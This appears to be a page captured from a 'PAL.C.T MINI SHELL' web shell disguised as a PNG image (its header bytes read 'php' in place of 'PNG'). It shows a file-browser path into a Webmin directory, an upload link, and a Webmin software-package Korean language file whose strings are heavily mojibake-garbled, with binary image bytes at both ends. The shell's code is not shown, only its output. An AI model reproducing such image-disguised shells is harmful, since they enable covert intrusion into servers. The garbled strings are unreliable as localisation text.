‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/software/lang/
upload
files >> //usr/libexec/webmin/software/lang/ko

index_title=소프트웨어 패키지
index_installed=ì„¤ì¹˜ëœ íŒ¨í‚¤ì§€
index_close=ëª¨ë‘ ë‹«ê¸°
index_open=ëª¨ë‘ ì—´ê¸°
index_search=패키지 검색:
index_install=새 패키지 설치
index_installmsg=새 $1 패키지를 설치할 위치 ì„ íƒ..
index_local=로컬 파ì¼ë¡œë¶€í„°
index_uploaded=ì—…ë¡œë“œëœ íŒŒì¼ë¡œë¶€í„°
index_ftp=ftp ë˜ëŠ” http URL로부터
index_installok=설치
index_ident=íŒŒì¼ í™•ì¸
index_identmsg=입력한 명령ì´ë‚˜ 파ì¼ì˜ 경로로 $1 ë°ì´í„°ë² ì´ìŠ¤ì—ì„œ 입력한 명령ì´ë‚˜ 파ì¼ì˜ 경로가 í¬í•¨ëœ 패키지를 찾습니다.
index_identok=검색 대ìƒ:
index_all=모든 패키지
index_return=패키지 목ë¡
index_treturn=패키지 트리
index_tree=패키지 트리

search_title=패키지 검색
search_nomatch=$1ê³¼(와) ì¼ì¹˜í•˜ëŠ” 패키지가 없습니다
search_none=ì—†ìŒ
search_desc=설명
search_class=í´ëž˜ìŠ¤
search_pack=패키지
search_match=$1ê³¼(와) ì¼ì¹˜í•˜ëŠ” 패키지
search_return=검색 결과
search_esearch=ê²€ìƒ‰ì„ ìœ„í•œ 검색어를 입력하지 않았습니다!
search_delete=ì„ íƒí•œ 패키지 제거
search_selall=ëª¨ë‘ ì„ íƒ
search_invert=ì„ íƒ ë°˜ì „

edit_title=패키지 편집
edit_details=패키지 세부 정보
edit_desc=설명
edit_pack=패키지
edit_class=í´ëž˜ìŠ¤
edit_none=ì—†ìŒ
edit_ver=버전
edit_vend=공급업체
edit_arch=아키í…처
edit_inst=설치한 날짜
edit_list=íŒŒì¼ ë¦¬ìŠ¤íŠ¸
edit_uninst=설치 제거
edit_return=패키지 세부 정보
edit_egone=패키지가 설치ë˜ì–´ 있지 않습니다.

list_title=패키지 파ì¼
list_files=패키지 $1ì˜ íŒŒì¼
list_path=경로
list_owner=소유ìž
list_group=그룹
list_type=유형
list_size=í¬ê¸°
list_status=ìƒíƒœ
list_ok=확ì¸
list_view=(보기)
list_eview=$1 열기 실패 : $2

delete_err=패키지 $1ì„(를) 삭제하지 못했습니다
delete_epack=패키지 $1ì´(ê°€) 존재하지 않습니다
delete_title=패키지 삭제
delete_rusure=패키지 $1ì„(를) 삭제하시겠습니까? 최대 $2ê°œì˜ íŒŒì¼($3ë°”ì´íŠ¸)ì´ ì˜êµ¬ì ìœ¼ë¡œ ì‚­ì œë©ë‹ˆë‹¤.
delete_rusure2=$1 패키지를 제거하겠습니까?
delete_ok=삭제
delete_nodeps=ì˜ì¡´ì„± 무시
delete_noscripts=제거 스í¬ë¦½íŠ¸ 건너ë„기

file_title=íŒŒì¼ ì •ë³´
file_notfound=$1ì— ëŒ€í•œ ì •ë³´ê°€ 없습니다
file_path=경로
file_type=유형
file_perms=사용 권한
file_owner=소유ìž
file_group=그룹
file_size=í¬ê¸°
file_link=ë§í¬ 대ìƒ:
file_pack=패키지
file_class=í´ëž˜ìŠ¤
file_desc=설명
file_none=ì—†ìŒ

install_err=패키지를 설치하지 못했습니다
install_elocal=로컬 파ì¼ì„ 지정하지 않았습니다
install_elocal2='$1'ì´(ê°€) 존재하지 않습니다
install_eupload=브ë¼ìš°ì €ì—ì„œ íŒŒì¼ ì—…ë¡œë“œ ê¸°ëŠ¥ì„ ì§€ì›í•˜ì§€ 않습니다
install_eurl=ì¸ì‹í•  수 없는 URL '$1'
install_edir=유효한 $1 디렉토리가 아닙니다
install_ezip=유효한 $1 압축 íŒŒì¼ ë˜ëŠ” gzip 형ì‹ì˜ 파ì¼ì´ 아닙니다
install_efile=유효한 $1 파ì¼ì´ 아닙니다
install_title=패키지 설치
install_header=패키지 설치
install_packs=설치할 패키지
install_ok=설치

do_err=패키지 $1ì„(를) 설치하지 못했습니다
do_title=패키지 설치
do_efailed=설치 실패: $1
do_efailedmsg1=ì´ì „ 페ì´ì§€ë¡œ ëŒì•„가서 다른 설치 ì˜µì…˜ì„ ì„ íƒí•˜ì—¬ 설치를 다시 ì‹œë„í•  수 있습니다.
do_efailedmsg2=그렇지 않으면 <a href='$1'>여기</a>를 눌러 ìž„ì‹œ 패키지 파ì¼ì„ 삭제하여 ë””ìŠ¤í¬ ì—¬ìœ  ê³µê°„ì„ ëŠ˜ë¦¬ì‹­ì‹œì˜¤.
do_success=패키지 $1ì´(ê°€) 성공ì ìœ¼ë¡œ 설치ë˜ì—ˆìŠµë‹ˆë‹¤
do_details=패키지 정보
do_desc=설명
do_class=í´ëž˜ìŠ¤
do_pack=패키지
do_ver=버전
do_vend=공급업체
do_arch=아키í…처
do_inst=설치한 날짜
do_none=ì—†ìŒ
do_files=패키지 파ì¼

pkgadd_root=루트 디렉토리
pkgadd_eroot=루트 디렉토리 '$1'ì´(ê°€) 존재하지 않습니다
pkgadd_unknown=ì•Œ 수 ì—†ìŒ
pkgadd_manager=시스템 V 패키지 관리ìž

rpm_upgrade=패키지를 업그레ì´ë“œí•©ë‹ˆê¹Œ?
rpm_replacepkgs=패키지를 ë®ì–´ì”니까?
rpm_nodeps=ì˜ì¡´ì„±ì„ 무시합니까?
rpm_oldpackage=기존 ë²„ì „ì„ ìƒˆ 버전으로 êµì²´í•©ë‹ˆê¹Œ?
rpm_noscripts=설치 스í¬ë¦½íŠ¸ë¥¼ 실행합니까?
rpm_excludedocs=문서를 설치합니까?
rpm_replacefiles=파ì¼ì„ ë®ì–´ì”니까?
rpm_notriggers=트리거 스í¬ë¦½íŠ¸ 실행
rpm_ignoresize=파ì¼ì‹œìŠ¤í…œ í¬ê¸° 검사
rpm_root=루트 디렉토리
rpm_eroot=루트 디렉토리 '$1'ì´(ê°€) 존재하지 않습니다
rpm_search=rpmfind.net 검색:
rpm_none=검색어와 ì¼ì¹˜í•˜ëŠ” 패키지를 ì°¾ì„ ìˆ˜ 없습니다.
rpm_find=rpmfind.net 검색 ..
rpm_findrpm=패키지 ì´ë¦„
rpm_finddistro=ë°°í¬ë³¸
rpm_finddesc=설명

bsd_unknown=ì•Œ 수 ì—†ìŒ
bsd_scripts=사전 ë° ì‚¬í›„ 설치 스í¬ë¦½íŠ¸ë¥¼ 실행합니까?
bsd_force=ì „ì œ ì¡°ê±´ì´ ì—†ì„ ê²½ìš° 강제로 설치합니까?
bsd_manager=$1 패키지 관리ìž

slack_unclass=그 외
slack_unknown=ì•Œ 수 ì—†ìŒ
slack_missing=ì—†ìŒ
slack_root=루트 디렉토리
slack_eroot=없거나 ìž˜ëª»ëœ ë£¨íŠ¸ 디렉토리
slack_manager=Slackware 패키지 관리ìž

debian_unknown=ì•Œ 수 ì—†ìŒ
debian_depends=ì˜ì¡´ì„± 문제를 무시합니까?
debian_conflicts=패키지 충ëŒì„ 무시합니까?
debian_overwrite=다른 íŒ¨í‚¤ì§€ì˜ íŒŒì¼ì„ ë®ì–´ì”니까?
debian_downgrade=기존 패키지를 새 패키지로 êµì²´í•©ë‹ˆê¹Œ?
debian_manager=Debian DPKG

log_install_package=패키지 $1 설치ë¨
log_install_apt_l=APT로부터 패키지 $1 설치ë¨
log_install_apt=APT로부터 패키지 $2 설치ë¨
log_check_apt_l=APT로부터 패키지 $1 업그레ì´ë“œë¨
log_check_apt=APT로부터 패키지 $2 업그레ì´ë“œë¨
log_delete=패키지 $1 제거ë¨
log_deletes_l=$1 패키지 제거
log_deletes=$1 패키지 제거
log_urpmi_update=가능한 URPMI 패키지를 ì—…ë°ì´íŠ¸ 했습니다.
log_urpmi_upgrade=설치ë˜ì–´ 있는 URPMI 패키지를 업그레ì´ë“œ 했습니다.
log_upgrade_yum_l=YUM으로 $1 패키지 업그레ì´ë“œ
log_upgrade_yum=YUM으로 $2 패키지 업그레ì´ë“œ
log_check_rhn_l=레드햇 네트워í¬ì—ì„œ $1 패키지를 업그레ì´ë“œ 했습니다.
log_check_rhn=레드햇 네트워í¬ì—ì„œ $2 패키지를 업그레ì´íŠ¸ 했습니다.

rhn_input=Redhat 네트워í¬ì˜ 패키지
rhn_find=RHN 검색 ..
rhn_install=$1 ëª…ë ¹ì„ ì‚¬ìš©í•˜ì—¬ 패키지 설치 중..
rhn_ok=.. 설치가 완료ë˜ì—ˆìŠµë‹ˆë‹¤.
rhn_failed=.. 설치하지 못했습니다!
rhn_title=RHN 패키지 ì„ íƒ
rhn_pack=패키지
rhn_version=버전
rhn_form=Redhat ë„¤íŠ¸ì›Œí¬ ì˜µì…˜
rhn_header=ìžë™ 패키지 업그레ì´ë“œ 옵션
rhn_auto=ì—…ë°ì´íŠ¸ 검사를 ìžë™ìœ¼ë¡œ 수행합니까?
rhn_interval=검사 간격
rhn_secs=ì´ˆ
rhn_apply=저장 ë° ì ìš©
rhn_now=지금 저장 ë° ê²€ì‚¬
rhn_err=RHN ì˜µì…˜ì„ ì €ìž¥í•˜ì§€ 못했습니다
rhn_einterval=없거나 ìž˜ëª»ëœ ê°„ê²©
rhn_einterval2=검사 ê°„ê²©ì€ 120ì´ˆ ì´ìƒì´ì–´ì•¼ 합니다
rhn_check=ì—…ë°ì´íŠ¸ 검사
rhn_checkdesc=$1 ëª…ë ¹ì„ ì‚¬ìš©í•˜ì—¬ Redhat 네트워í¬ë¡œë¶€í„° ì—…ë°ì´íŠ¸ëœ 패키지가 있는지 검사 중..
rhn_nocheck=.. ì—…ë°ì´íŠ¸ëœ 패키지가 없습니다.
rhn_proxy=다운로드용 프ë¡ì‹œ 서버 URL
rhn_none=사용 불능
rhn_eproxy=없거나 ìž˜ëª»ëœ í”„ë¡ì‹œ 서버
rhn_skip=ì¼ì¹˜í•˜ëŠ” 패키지 건너뜀
rhn_nonefound=ì—…ë°ì´íŠ¸í•  패키지가 없습니다.
rhn_name=레드햇 네트워í¬

apt_input=APTì˜ íŒ¨í‚¤ì§€
apt_install=$1 ëª…ë ¹ì„ ì‚¬ìš©í•˜ì—¬ 패키지 설치 중..
apt_ok=.. 설치가 완료ë˜ì—ˆìŠµë‹ˆë‹¤.
apt_failed=.. 설치하지 못했습니다!
apt_form=모든 패키지 업그레ì´ë“œ
apt_header=APT 패키지 업그레ì´ë“œ 옵션
apt_update=패키지 ëª©ë¡ ë‹¤ì‹œ ë™ê¸°í™”(<tt>ì—…ë°ì´íŠ¸</tt>)
apt_mode=업그레ì´ë“œ 모드
apt_mode2=ë°°í¬ë³¸ 업그레ì´ë“œ (<tt>upgrade-dist</tt>)
apt_mode1=ì¼ë°˜ 업그레ì´ë“œ
apt_mode0=업그레ì´ë“œ 안함
apt_sim=업그레ì´ë“œí•  패키지만 표시
apt_apply=지금 업그레ì´ë“œ
apt_upgrade=모든 패키지 업그레ì´ë“œ
apt_updatedesc=$1 ëª…ë ¹ì„ ì‚¬ìš©í•˜ì—¬ 패키지 ëª©ë¡ ë‹¤ì‹œ ë™ê¸°í™” 중..
apt_updatefailed=.. 재ë™ê¸°í™”하지 못했습니다!
apt_updateok=.. 재ë™ê¸°í™”ê°€ 완료ë˜ì—ˆìŠµë‹ˆë‹¤.
apt_upgradedesc=$1 ëª…ë ¹ì„ ì‚¬ìš©í•˜ì—¬ 모든 패키지 업그레ì´ë“œ 중..
apt_upgradedescsim=$1 ëª…ë ¹ì„ ì‚¬ìš©í•˜ì—¬ 모든 패키지 목ë¡ì˜ 업그레ì´ë“œ 시뮬레ì´ì…˜ 중..
apt_upgradefailed=.. 업그레ì´ë“œí•˜ì§€ 못했습니다!
apt_upgradeok=.. 업그레ì´ë“œê°€ 완료ë˜ì—ˆìŠµë‹ˆë‹¤.
apt_search=ì¼ì¹˜í•˜ëŠ” 패키지 찾기 :
apt_find=APT 검색 ..
apt_title=APT 검색
apt_name=APT

yum_input=YUM 패키지
yum_install=$1 명령으로 패키지 설치
yum_ok=.. 설치 완료
yum_failed=.. 설치 실패!
yum_package=패키지
yum_version=버전
yum_arch=아키í…ì³
yum_source=소스
yum_form=모든 패키지 업그레ì´ë“œ
yum_apply=YUM으로 모든 ì„¤ì¹˜ëœ íŒ¨í‚¤ì§€ 업그레ì´ë“œ
yum_upgrade=모든 패키지 업그레ì´ë“œ
yum_upgradedesc=$1 명령으로 모든 패키지 업그레ì´ë“œ ..
yum_upgradefailed=.. 업그레ì´ë“œ 실패!
yum_upgradeok=.. 업그레ì´íŠ¸ 완료
yum_name=YUM
yum_enable=사용 가능한 저장소:
yum_none=&lt;ì—†ìŒ&gt;

urpmi_name=URPMI
urpmi_input=URPMI 패키지
urpmi_form=모든 패키지 업그레ì´ë“œ
urpmi_update=ì—…ë°ì´íŠ¸ 가능한 URPMI 패키지
urpmi_upgrade=ì„¤ì¹˜ëœ URPMI 패키지를 최신 버전으로 업그레ì´ë“œ
urpmi_title_update=ì—…ë°ì´íŠ¸ 가능한 패키지
urpmi_title_upgrade=ì„¤ì¹˜ëœ íŒ¨í‚¤ì§€ 업그레ì´ë“œ
urpmi_updatedesc=$1 명령 실행 ..
uprmi_upgradefailed=.. 실패!
urpmi_upgradeok=.. 완료
urpmi_install=$1 명령으로  패키지 설치
urpmi_ok=.. 설치 완료
urpmi_failed=.. 설치 실패!

rpm_missing=ì—†ìŒ
rpm_checkfail=$1ì„(를) 검사하지 못했습니다
rpm_md5=MD5
rpm_fsize=íŒŒì¼ í¬ê¸°
rpm_sym=심볼릭 ë§í¬
rpm_mtime=수정 시간
rpm_dev=장치
rpm_user=ì‚¬ìš©ìž ì†Œìœ ê¶Œ
rpm_perm=사용 권한
rpm_group=그룹 소유권
rpm_erpm=RPM $1ì´(ê°€) 없습니다: $2

soft_reg=ì¼ë°˜ 파ì¼
soft_dir=디렉토리
soft_spec=특수 파ì¼
soft_sym=심볼릭 ë§í¬
soft_hard=하드 LinkHard ë§í¬
soft_edit=편집 가능한 파ì¼
soft_efunc=$1 패키지 ì‹œìŠ¤í…œì˜ ê¸°ëŠ¥ì„ ë¡œë“œí•˜ì§€ 못했습니다.
soft_euncompress=파ì¼ì´ 압축ë˜ì—ˆì§€ë§Œ ì‹œìŠ¤í…œì— <tt>uncompress</tt> ëª…ë ¹ì´ ì—†ìŠµë‹ˆë‹¤.
soft_euncmsg=파ì¼ì˜ ì••ì¶•ì„ í’€ì§€ 못했습니다: $1
soft_egzip=파ì¼ì´ gzip 형ì‹ìœ¼ë¡œ 압축ë˜ì—ˆì§€ë§Œ ì‹œìŠ¤í…œì— gzip ëª…ë ¹ì´ ì—†ìŠµë‹ˆë‹¤.
soft_egzmsg=gzip 파ì¼ì˜ ì••ì¶•ì„ í’€ì§€ 못했습니다: $

aix_software=설치할 소프트웨어
aix_preview=미리보기만 (실제 설치 안함)
aix_overwrite=ë™ì¼ ë˜ëŠ” 새 버전 ë®ì–´ì”Œìš°ê¸°
aix_accept=새 ë¼ì¸ì„¼ìŠ¤ì— ë™ì˜í•˜ê² ìŠµë‹ˆê¹Œ?
aix_license=새 ë¼ì´ì„¼ìŠ¤ ë™ì˜ 미리보기
aix_clean=설치 ì‹¤íŒ¨ì‹œì— ì„¤ì¹˜ 파ì¼ì„ 제거
aix_manager=AIX 패키지 관리ìž

emerge_input=Portage 저장소
emerge_find=검색 ..
emerge_install=$1 명령으로 패키지 설치 ..
emerge_failed=.. 설치 실패!
emerge_ok=.. 설치 완료
emerge_search=패키지 검색:
emerge_pack=패키지
emerge_version=버전
emerge_desc=설명
emerge_none=검색과 ì¼ì¹˜í•˜ëŠ” 패키지가 없습니다.
emerge_onlydeps=ì˜ì¡´ì„± 패키지만 설치하겠습니까?
emerge_title=Portage 검색
emerge_name=Portage

cygwin_fmissing=파ì¼ì´ 존재하지 ì•ŠìŒ
cygwin_estat=íŒŒì¼ ìƒíƒœ í™•ì¸ ì‹¤íŒ¨: $1
cygwin_elread=심볼릭 ë§í¬ ì½ê¸° 실패: $1
cygwin_elstat=심볼릭 ë§í¬ ìƒíƒœ í™•ì¸ ì‹¤íŒ¨: $1
cygwin_badpostscript=경고: ì´ ìŠ¤í¬ë¦½íŠ¸ëŠ” 실행할 수 없습니다.
cygwin_pkgexists=$1 패키지는 ì´ë¯¸ 존재합니다.
cygwin_warnuse=경고: ì´ê²ƒì€ Cygwin 소프트웨어를 관리하기 위한 ê³µì‹ ì¸í„°íŽ˜ì´ìŠ¤ê°€ 아닙니다. 사용하기 위해서는 ìœ„í—˜ì„ ê°ìˆ˜í•´ì•¼ 합니다.

deletes_err=패키지 제거 실패
deletes_enone=ì„ íƒí•œ 패키지가 없습니다.
deletes_title=패키지 제거
deletes_desc=$1 패키지 제거 ..
deletes_failed1=$1 제거 실패 : $2
deletes_success1=$1 제거 성공
deletes_failed2=제거 실패 : $1
deletes_success2=.. 제거 완료
deletes_rusure=$1 패키지를 제거하겠습니까?
deletes_ok=ëª¨ë‘ ì œê±°

csw_input=CSW 패키지
csw_install=$1 명령으로 패키지 설치 ..
csw_ok=.. 설치 완료
csw_failed=.. 설치 실패!
csw_already=.. ì´ë¯¸ 설치ë˜ì–´ 있습니다.
csw_retry=.. ì˜ì¡´ì„± 패키지 설치 후 재 ì‹œë„ í•˜ì‹­ì‹œì˜¤.
csw_package=패키지
csw_version=버전
csw_name=CSW
csw_form=업그레ì´ë“œ 패키지
csw_upgrade=ì„¤ì¹˜ëœ ëª¨ë“  패키지 업그레ì´ë“œ
csw_updatedesc=$1 명령으로 ì„¤ì¹˜ëœ ëª¨ë“  패키지 업그레ì´ë“œ ..

find_title=패키지 검색
find_search=ì¼ì¹˜í•˜ëŠ” 패키지 찾기:
find_name=ì´ë¦„
find_version=버전
find_desc=설명
find_none=검색과 ì¼ì¹˜í•˜ëŠ” 패키지를 찾지 못했습니다.

msi_users1=현재 사용ìž
msi_users2=모든 사용ìž
msi_missing=존재하지 ì•ŠìŒ
msi_size=ìž˜ëª»ëœ í¬ê¸°

hpux_mount_all_filesystems=모든 파ì¼ì‹œìŠ¤í…œ 마운트
hpux_reinstall=재설치?
hpux_reinstall_files=íŒŒì¼ ìž¬ì„¤ì¹˜
hpux_allow_multiple_versions=ë™ì¼ íŒ¨í‚¤ì§€ì— ëŒ€í•˜ì—¬ 여러 ë²„ì „ì„ ì„¤ì¹˜ 가능하ë„ë¡ í•˜ê² ìŠµë‹ˆê¹Œ?
hpux_root=루트 디렉토리
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•á¯˜G{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚